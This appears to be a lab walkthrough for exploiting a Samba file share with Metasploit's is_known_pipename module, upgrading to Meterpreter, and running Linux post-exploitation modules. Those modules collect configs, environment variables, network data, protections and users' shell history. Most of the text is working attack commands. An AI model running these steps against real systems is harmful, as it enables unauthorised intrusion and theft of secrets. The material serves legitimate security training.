Lab
In this lab, the target is running a vulnerable file sharing service. The task is to exploit it and then run these post modules against the session:
post/linux/gather/enum_configspost/multi/gather/envpost/linux/gather/enum_networkpost/linux/gather/enum_protectionspost/linux/gather/enum_systempost/linux/gather/checkcontainerpost/linux/gather/checkvmpost/linux/gather/enum_users_historypost/multi/manage/system_sessionpost/linux/manage/download_exec
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a linux_post
Set Global Variables
setg RHOSTS 192.45.34.3
setg RHOST 192.45.34.3
Scan with db_nmap
db_nmap -sC -sV 192.45.34.3
Exploit Samba (is_known_pipename)
The file share is Samba, and this version is vulnerable to is_known_pipename, which loads a malicious shared library through a writable share.
use exploit/linux/samba/is_known_pipename
exploit
Stabilize the Shell
The exploit returns a bare command shell. Spawn an interactive bash and set a terminal type so tools behave:
/bin/bash -i
export TERM=xterm-256color
Upgrade the Shell to Meterpreter
sessions -u upgrades a command shell session to Meterpreter.
sessions -u 1
Local Enumeration
sysinfo
getuid # a UID of 0 on Linux means root
From a shell on the target:
groups root
cat /etc/*issue # release version
ps aux # running processes
env # environment variables
Linux Post-Exploitation Modules
Every post module follows the same pattern: use it, set SESSION to the Meterpreter session, and exploit.
Configuration Files
Gather common Linux configuration files.
use post/linux/gather/enum_configs
set SESSION <ID>
exploit
Environment Variables
use post/multi/gather/env
set SESSION <ID>
exploit
Network
use post/linux/gather/enum_network
set SESSION <ID>
exploit
Everything the modules collect is saved as loot:
loot
Security Protections
Find which hardening and security tools are installed on the target.
use post/linux/gather/enum_protections
set SESSION <ID>
exploit
System Information
use post/linux/gather/enum_system
set SESSION 2
exploit
Container Check
Check whether the session is running inside a container.
use post/linux/gather/checkcontainer
set SESSION <ID>
exploit
Virtual Machine Check
use post/linux/gather/checkvm
set SESSION <ID>
exploit
User History
Read the shell history of users on the box.
use post/linux/gather/enum_users_history
set SESSION <ID>
exploit